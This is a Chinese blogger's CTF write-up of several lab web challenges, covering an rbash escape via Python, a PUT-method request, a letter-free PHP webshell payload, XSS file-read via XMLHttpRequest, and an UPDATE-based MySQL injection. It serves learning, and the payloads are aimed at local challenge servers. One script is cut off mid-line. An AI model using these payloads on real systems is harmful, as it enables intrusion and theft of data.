最近好久都没做题目,刚好上次搭的题目还在,就不要浪费了,记录记录做题过程吧
这个题目考的点是沙盒绕过,第一次玩这个东西??反正进去之后尝试ls,cat,file等各种那个命令均无效果,都会显示
-rbash: ls: command not found
发现有一篇好文章,有空瞅瞅:http://cauc.me/2017/11/16/python沙盒绕过/
一开始谷歌一下,发现解决办法是这样的
export PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin
输入之后发现还是不行显示 -rbash: PATH: readonly variable
我们可以尝试python里面的库去执行,用的是os
库里面的listdir
函数
>>> import os
>>> os.listdir('.')
注意函数里面的.
代表的是当前目录,而..
代表的是上级目录,也可以是绝对路径
得到当前目录的结果为
['.bash_logout', '.profile', '.bashrc', 'bin', 'c8049f64c8080af25f414b15cb6f80c3']
检验一下那个一串的东西是文件还是文件夹
>>> os.path.isfile('c8049f64c8080af25f414b15cb6f80c3')
发现是文件,这里提供两种方法读取文件,
第一种直接用Python读取文件
>>> f = open('c8049f64c8080af25f414b15cb6f80c3','rb')
>>> f.read()
得到结果
'SUSCTF{e6b729cdf8885b16e7b949e85772e340}\n'
另一种是,返回到Linux命令行用strings命令
strings c8049f64c8080af25f414b15cb6f80c3
得到结果
SUSCTF{e6b729cdf8885b16e7b949e85772e340}
题目说的快一点,那就试一下抓包好了,直接得到flag,这里是存在302跳转
的,会跳转到1ndex.php
,一开始我一直这个页面抓包可坑了,以后要注意直接从打开题目地址那一刻开始抓包-_-||
还有另一种做法就是直接curl
一波就好了。。。不多说,水题一个
打开题目发现这样一句话
put me a message then you can get the flag
这个题目是考了传参的方式,水题。。。。
我用的两种办法
第一种
直接利用火狐的F12
插件去完成put类型
的传参
查看回应发现一段base64,U3VzY3Rme3JlcXVlc3RfaW5fcHV0X21ldGhvZH0=
,解码得到flag
第二种利用python写脚本上传
#!/usr/bin/python
# Author:0verWatch
# coding:utf-8
import base64
import requests
url = 'http://192.168.1.103:4447'
res = requests.session()
ans = res.put(url=url,data='message')
print base64.b64decode(ans.content)
这个题目明显考的是脚本题。。。没学过bs,只能一直用requests
庫了,过段时间还是得学习一下bs
import re
import requests
import time
url = 'http://192.168.1.103:4441'
res = requests.session()
ans1 = res.get(url)
# print ans1.content
calc = re.findall(r">(.*?)
这个题目过滤了字母,这里参考了几篇关于webshell的文章,各种蛇皮操作。。。。
http://www.freebuf.com/articles/web/155891.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
这是自己写的payload,直接urlencode之后用bp发包得到flag
$_=[];
$_=@"$_";
$_=@$_[0];
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___ = $_;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$__= $__.$___;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$__= $__.$___;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$__= $__.$___.'_';
$__ =$__.$__[0];
$__ =$__.$__[2];
$___ = $_;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$__ = $__.$___;
$___ = $_;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$__ = $__.$___;
$___ = $_;
$___++;$___++;
$__ = $__.$___;
$___ = $_;
$___++;$___++;$___++;$___++;
$__ = $__.$___;
$_=[];
$_=@"$_";
$_=@$_[3];
$___ = $_;
$___++;$___++;$___++;$___++;$___++;
$____ ='';
$____ = $____.$___;
$___++;$___++;$___++;$___++;$___++;$___++;
$____ = $____ .$___;
$___ = $_;
$____ = $____ .$___;
$___++;$___++;$___++;$___++;$___++;$___++;
$____ = $____ .$___.".";
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$____ = $____ .$___;
$___ = $_;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$____ = $____.$___;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$____ = $____.$___;
$__($____);
我不知道这一题为什么加上了双引号就不行了,试了很多次都是invalid input ,这就很尴尬了..找不到原因,希望有大佬能找到原因告诉我一声啊!!!!
这个题目根据题意我也看不出个啥,只是看这题目是xss看一下有没有cookie存在,直接一句看一下有什么东西出现,结果就出现flag了,看了下官方wp是用input标签的,它的wp是这个样子的
用的是onfoucus。。。又学到一个触发标签了,这里有解释这个标签:http://www.w3school.com.cn/jsref/event_onfocus.asp,简单说就是触发了对应的js代码,而它支持的各种标签在里面可以看得到。
这个题目我一开始也不会做,没理解题目说的啥,看了官方wp
<img src="e" onerror="var x=new XMLHttpRequest();x.open('GET','file:///var/www/html/flag.php',false);x.send(null);document.write('');">
发现原来是用 XMLHttpRequest()
去任意读取文件,是我太菜还没学到。。还得进步
打开这个题目发现有注册功能,先注册一波看一下,发现就是个修改信息的东东,再扫一下看看一下有没有可疑文件
发现有源码,下载下来
发现这里面的代码执行SQL语句大部分都是这样子的,都已经预编译过了。SQL注入这个漏洞微乎其微
if(isset($_POST['username']) && isset($_POST['password'])){
$stmt=$mysqli->prepare('select id,password from users where username=?');
$stmt->bind_param('s',$_POST['username']);
$stmt->execute();
$stmt->store_result();
突然在我翻到update.php
这个页面的时候
发现了有点不妥
这个经过了addslashes
函数之后竟然在age这个参数里没加单引号,这是故意而为之????
不管了,这是可以注入的,我以前的博客讲过 https://0verwatch.top/2018/08/02/sql-inject-protect/
然后登陆后立即试,bp抓包改一下age的值,然后查看源码得到flag
注意这里的a是别名的意思,其实省略了个as
不然会报错的,自己可以在MySQL里面尝试一下
解决的方发就是起别名,这或许是mysql的特性吧
https://blog.csdn.net/cao478208248/article/details/28122113
但是注意了我们这里不能直接上手把age里面的内容改为
(select description from users where username=0x61646d696e)
会报错的
这是因为MySQL的原因,也就是同一个表的时候不能select完之后在同一个表直接update,而我们可以起个别名把他变成另外一个表即可,也就是上面的做法,以后在update注入的时候得注意如果是对同一个表进行操作的时候就得弄个新表了
https://blog.csdn.net/priestmoon/article/details/8016121
Payload:
(select description from(select * from users where username=0x61646d696e)a)
先记录着这么多先吧,明天再把剩下的题目完成,赶紧复习一波微机原理,不然明天的汇编又该看不懂了,最近事真多,Yii框架啥的还没写完,烦。。。
欢迎多踩踩我的博客:https://0verwatch.top